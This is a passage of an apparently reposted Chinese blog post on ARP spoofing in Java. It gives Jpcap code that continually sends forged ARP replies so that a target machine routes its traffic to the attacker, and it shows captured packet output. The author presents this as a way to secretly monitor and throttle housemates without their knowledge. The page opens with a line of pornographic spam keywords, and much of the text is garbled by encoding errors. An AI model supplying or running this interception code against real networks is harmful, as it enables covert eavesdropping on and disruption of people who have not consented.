乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      使用JAVA通過ARP欺騙實(shí)現(xiàn)數(shù)據(jù)封包監(jiān)聽...

       ShangShujie 2008-07-28

      使用JAVA通過ARP欺騙實(shí)現(xiàn)數(shù)據(jù)封包監(jiān)聽

              如果說最近有什么不爽的事情,那就是與人共享網(wǎng)絡(luò)的痛苦了,特別是當(dāng)其他共享者使用那些P2P工具下載軟件,而你卻看著網(wǎng)頁進(jìn)度條一點(diǎn)點(diǎn)爬的時(shí)候,那種痛苦對于我這種網(wǎng)蟲級(jí)別的人來說,那簡直就是痛不欲生。絕對不能再忍了,于是乎上網(wǎng)下載P2P終 結(jié)者,哼,你們不仁我則不義,看誰厲害。軟件下好后,立刻啟動(dòng)監(jiān)控,然后嘗試了下速度,哇,那個(gè)爽啊??上Ш镁安婚L,沒多久對方就跑來問我為什么他們斷網(wǎng) 了?我楞了一下,那垃圾軟件居然連對方的網(wǎng)都斷了,于是支支唔唔的應(yīng)付了他,說我看下,總算勉強(qiáng)過關(guān),還好他們不懂電腦,不然就掉大了(貌視挺卑鄙的,別BS俺,俺也是迫不得已)。

             沒辦法,那破爛軟件居然連人家網(wǎng)都斷了,我僅僅只是想給他們限速而 已(還算有點(diǎn)良心),仔細(xì)查看了下文檔,使用的方式都沒問題啊,為什么會(huì)這樣呢?想了半天也毫無頭緒,沒辦法,看來只能自己動(dòng)手了,于是乎上網(wǎng)找了些關(guān)于 這方面的資料看了下,也寫了一點(diǎn)代碼做試驗(yàn),由于時(shí)間有限也只寫了一點(diǎn),不過總體的做法大概是有所了解,在這里就寫一篇文章大概記錄一下自己的做法,以便 作為日記又可與大眾分享下。

             其實(shí)目前網(wǎng)絡(luò)上類似P2P終結(jié)者這類軟件,主要都是基于ARP欺騙實(shí)現(xiàn)的,網(wǎng)絡(luò)上到處都有關(guān)于ARP欺騙的介紹,不過為了本文讀者不需要再去查找,我就在這里大概講解一下。

             ARPAddress Resolution Protocol)既地址解釋協(xié)議,主要的目的是用于進(jìn)行IPMAC地址解釋的。IP是網(wǎng)絡(luò)層協(xié)議,而MAC是被數(shù)據(jù)鏈路層使用。網(wǎng)絡(luò)中兩個(gè)節(jié)點(diǎn)要進(jìn)行通信,那么首先發(fā)送端必須要知道源和目的地的MAC地址,而網(wǎng)絡(luò)層是使用IP地址,所以要獲得MAC地址,就必須通過IP地址獲取對應(yīng)的MAC地址,這樣就需要使用ARP協(xié)議將IP地址轉(zhuǎn)換為MAC地址,而同時(shí)為了能夠快速的找到目的地的MAC地址,每個(gè)節(jié)點(diǎn)都會(huì)有一個(gè)ARP緩存,用于保存已經(jīng)轉(zhuǎn)好好的MAC地址,大家可以在控制臺(tái)下使用arp –a指令查看arp緩存表。

             ARP具體過程就是當(dāng)需要通過IP獲取一個(gè)遠(yuǎn)端的的MAC地址的時(shí)候,系統(tǒng)會(huì)首先檢查ARP表中是否存在對應(yīng)的IP地址,如果沒有,則發(fā)送一個(gè)ARP廣播,當(dāng)某一個(gè)擁有這個(gè)MAC地址的節(jié)點(diǎn)收到ARP請求的時(shí)候,會(huì)創(chuàng)建一個(gè)ARP reply包,并發(fā)送到ARP請求的源節(jié)點(diǎn),ARP Reply包中就包含了目的地節(jié)點(diǎn)的MAC地址,在源節(jié)點(diǎn)接受到這個(gè)reply后,會(huì)將目的地節(jié)點(diǎn)的MAC地址保存在ARP緩存表中,下一次再次請求同一IP地址的時(shí)候,系統(tǒng)將會(huì)從ARP表中直接獲取目的地MAC地址,而不需要再次發(fā)送ARP廣播。

             看到這里,ARP的具體過程大概講解了一遍,希望能夠解釋清楚。相信有心的朋友一定已經(jīng)開始考慮ARP欺騙的原理了吧,其實(shí)就是利用ARP表進(jìn)行ARP欺騙,比如一臺(tái)局域網(wǎng)內(nèi)的機(jī)器A,通過網(wǎng)關(guān)B進(jìn)行internet連接,而它的arp表中保存著網(wǎng)關(guān)BIPMAC地址對,如下:

      192.168.1.1    >    MAC1(懶得寫那么長了,就以MAC1作為MAC地址了)

      那么也就是說,當(dāng)A想上網(wǎng)的時(shí)候,他所有的數(shù)據(jù)都將先發(fā)送到網(wǎng)關(guān)再由網(wǎng)關(guān)轉(zhuǎn)發(fā)出去,那么A的數(shù)據(jù)首先會(huì)通過192.168.1.1找到網(wǎng)關(guān)的MAC地址MAC1,然后就可把數(shù)據(jù)發(fā)送到網(wǎng)關(guān)了。此時(shí)你的機(jī)器是C,MAC地址是MAC2,你想通過ARP欺騙來獲取A傳輸?shù)臄?shù)據(jù),那么你所需要做的事情其實(shí)很簡單,就是將機(jī)器AARP表中192.168.1.1對應(yīng)的MAC地址MAC1改成MAC2即可,這樣子機(jī)器A所有發(fā)送到192.168.1.1的數(shù)據(jù)就會(huì)發(fā)到MAC地址為MAC2的機(jī)器上,也就是你的機(jī)器上了。

      要更改APR表的記錄,辦法就是偽造一個(gè)ARP reply包發(fā)送給機(jī)器A,而這個(gè)ARP reply包中的源IP192.168.1.1,MAC地址為MAC2既你的機(jī)器的MAC地址即可,機(jī)器A接受到后就會(huì)將這個(gè)源IPMAC刷新到它的ARP緩存表中,覆蓋原有的記錄,最終這樣就可以達(dá)到ARP欺騙的目的了。

      講到這里不知道大家是否對ARP欺騙有所了解呢?如果再不了解那就上網(wǎng)搜搜吧,網(wǎng)上很多相關(guān)的資料。好了,原理講完了,那就輪到實(shí)現(xiàn)了,通過JAVA又如何實(shí)現(xiàn)ARP欺騙呢?

      從頭到尾來做,當(dāng)然不是我的作風(fēng),JAVA社區(qū)那么龐大,我么應(yīng)該好好利用,要站在巨人的肩膀上成功嘛,呵呵。有一個(gè)開源項(xiàng)目JPCAP,這個(gè)項(xiàng)目提供一個(gè)中間層接口讓使用者可以調(diào)用如wincap/libpcap這些庫對網(wǎng)絡(luò)傳輸進(jìn)行控制,具體可到官方網(wǎng)站查看其文檔。

      在這里,我實(shí)現(xiàn)了一個(gè)簡單的封包截取程序,根據(jù)ARP欺騙的原理,我們所需要做的事情如下:

      1、 構(gòu)建一個(gè)ARP Reply

      2、 將該封包發(fā)送到需要欺騙的機(jī)器

      代碼如下:

      public class LocalListener {

          
      private final static String GATE_IP = "192.168.11.1";
        
      private final static byte[] GATE_MAC = {0x000x0a, (byte0xc50x420x6e, (byte0x9a};
          
      private JpcapCaptor jpcap;                                        //與設(shè)備的連接
          private JpcapSender sender;                                     //用于發(fā)送的實(shí)例
          private Packet replyPacket;                                      //ARP reply包
          private NetworkInterface device;                           //當(dāng)前機(jī)器網(wǎng)卡設(shè)備
         
      private IpMacMap targetIpMacMap;                        //目的地IP MAC對

          
      public LocalListener(IpMacMap target) throws Exception {
              NetworkInterface[] devices 
      = JpcapCaptor.getDeviceList();               device = devices[1];
              
      this.targetIpMacMap = target;
              initSender();
              initPacket();
          }


          
      private void initSender() throws Exception {
              jpcap 
      = JpcapCaptor.openDevice(device, 2000false10000);    //打開與設(shè)備的連接
              jpcap.setFilter("ip"true);                                //只監(jiān)聽ip數(shù)據(jù)包
              sender = jpcap.getJpcapSenderInstance();
          }


          
      private void initPacket() throws Exception {
             
      //reply包的源IP和MAC地址,此IP-MAC對將會(huì)被映射到ARP表
              IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);  
              
      //創(chuàng)建修改目標(biāo)機(jī)器ARP的包
              replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); 
              
      //創(chuàng)建以太網(wǎng)頭信息,并打包進(jìn)reply包
              replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
                      device.mac_address);
          }


          
      public void listen() throws InterruptedException{
              Thread t 
      = new Thread(new Runnable() {
                  
      public void run() {
                   
      //發(fā)送reply封包,修改目的地arp表, arp表會(huì)在一段時(shí)間內(nèi)被更新,所以需要不停發(fā)送
                      while(true){
                          send();  
                          
      try {
                              Thread.sleep(
      500);
                          }
       catch (InterruptedException ex) {
                              Logger.getLogger(LocalListener.
      class.getName()).log(Level.SEVERE, null, ex);
                          }

                      }

                  }

              }
      );
              t.start();
              
      //截獲當(dāng)前網(wǎng)絡(luò)設(shè)備的封包收發(fā)信息
              while(true){
                  IPPacket ipPacket 
      = (IPPacket)jpcap.getPacket();
                  System.out.println(ipPacket);
              }

          }
      }



      //IP-MAC實(shí)體,只用于保存一對IP-MAC地址
      public class IpMacMap {
          
      private String ip;
          
      private byte[] mac;

          
      public IpMacMap(){
          }

          
          
      public IpMacMap(String ip, byte[] mac){
              
      this.ip = ip;
              
      this.mac = mac;
          }

          
          
      public String getIp() {
              
      return ip;
          }


          
      public void setIp(String ip) {
              
      this.ip = ip;
          }


          
      public byte[] getMac() {
              
      return mac;
          }


          
      public void setMac(byte[] mac) {
              
      this.mac = mac;
          }
         
          
      }


      //ARP reply包生成類,用于根據(jù)目的地址和源地址生成reply包
      public class ARPPacketGern{

          
      public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
              ARPPacket arpTarget 
      = new ARPPacket();
              arpTarget.hardtype 
      = ARPPacket.HARDTYPE_ETHER;  //選擇以太網(wǎng)類型(Ethernet)
              arpTarget.prototype = ARPPacket.PROTOTYPE_IP;         //選擇IP網(wǎng)絡(luò)協(xié)議類型
              arpTarget.operation = ARPPacket.ARP_REPLY;              //選擇REPLY類型
              arpTarget.hlen = 6;                              //MAC地址長度固定6個(gè)字節(jié)
              arpTarget.plen = 4;                              //IP地址長度固定4個(gè)字節(jié)
              arpTarget.target_hardaddr = target.getMac();
              arpTarget.target_protoaddr 
      = InetAddress.getByName(target.getIp()).getAddress();
              arpTarget.sender_hardaddr 
      = sender.getMac();
              arpTarget.sender_protoaddr 
      = InetAddress.getByName(sender.getIp()).getAddress();
              
      return arpTarget;
          }

      }






      //根據(jù)目的地MAC和源MAC構(gòu)建以太網(wǎng)頭信息,用于傳輸數(shù)據(jù)
      public class EthernetPacketGern{
          
      public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
              EthernetPacket ethToTarget 
      = new EthernetPacket();           //創(chuàng)建一個(gè)以太網(wǎng)頭
              ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;   //選擇以太包類型
              ethToTarget.dst_mac = targetMac;
              ethToTarget.src_mac 
      = senderMac;        
              
      return ethToTarget;
          }

      }



       

          如上代碼實(shí)現(xiàn)了創(chuàng)建一個(gè)發(fā)送到IP192.168.11.4的機(jī)器的ARP reply封包,其中可看到,reply包中的源IP192.168.11.1,而源MAC則被改成當(dāng)前機(jī)器的MAC地址,既device.mac_address,這樣當(dāng)192.168.11.4的機(jī)器接收到該reply包后,就會(huì)刷新ARP表,并且所有發(fā)送往192.168.11.1的數(shù)據(jù)都會(huì)實(shí)際發(fā)送到當(dāng)前運(yùn)行該程序的機(jī)器。程序中創(chuàng)建了一個(gè)線程用于循環(huán)發(fā)送reply封包,主要是因?yàn)?/span>ARP表會(huì)在一定時(shí)間內(nèi)更新,所以要不停的發(fā)送才能保證其MAC地址時(shí)刻都是被改變的。同時(shí)主線程用于監(jiān)聽并打印當(dāng)前設(shè)備的所有IP數(shù)據(jù)包信息,本來此方法只能監(jiān)聽到本機(jī)數(shù)據(jù)包的信息,但由于使用了ARP欺騙,所以你會(huì)在192.168.11.4發(fā)送數(shù)據(jù)到192.168.11.1的時(shí)候截獲其數(shù)據(jù)包,并看到類似如下的信息:

      1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S

          其實(shí)上例程序雖然可以截獲并監(jiān)聽192.168.11.4的數(shù)據(jù)包,但是如果真的運(yùn)行起來后,192.168.11.4的機(jī)器將會(huì)無法上網(wǎng)(假設(shè)該機(jī)器通過192.168.11.1作為網(wǎng)關(guān)上網(wǎng)),這又是為何呢?

          這就是因?yàn)楸緳C(jī)截獲了192.168.11.4的封包,但是卻沒有將封包轉(zhuǎn)發(fā)出去,所以實(shí)際上數(shù)據(jù)包到了你的機(jī)器上后就被中斷了,數(shù)據(jù)包無法發(fā)送出去。既然要監(jiān)聽對方機(jī)器,當(dāng)然不能讓對方知道啦,如果你監(jiān)聽了那臺(tái)機(jī)器,卻導(dǎo)致對方無法上網(wǎng),傻子也知道有問題啦,所以以上程序仍然要加個(gè)補(bǔ)充,那就是將封包數(shù)據(jù)在轉(zhuǎn)發(fā)到192.168.11.1上,只要將截獲的封包再send出去就可以了,具體如何做就留給大家想吧,困了,休息了,如果有朋友有興趣又實(shí)在想不出如何做的話,可以向我提出來,有必要的話,下次再貼一個(gè)完整點(diǎn)的例子吧。

          對了,最后還有補(bǔ)充的地方,那就是我們可以通過同樣的方式刷新網(wǎng)關(guān)的ARP,這樣網(wǎng)關(guān)接受到的數(shù)據(jù)也會(huì)被本機(jī)截獲,同樣再通過本機(jī)轉(zhuǎn)發(fā)到目的機(jī)器即可。這樣對方既可正常上網(wǎng),而我們又可截獲對方的數(shù)據(jù)包,如果要進(jìn)行限速的話,那就是在截獲封包的同時(shí),進(jìn)行一定的延時(shí),比如一秒只允許多少K的數(shù)據(jù)通過,都可以在這里做手腳,同樣的,具體如何留給大家想吧,^ o ^。

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評論

        發(fā)表

        請遵守用戶 評論公約

        類似文章 更多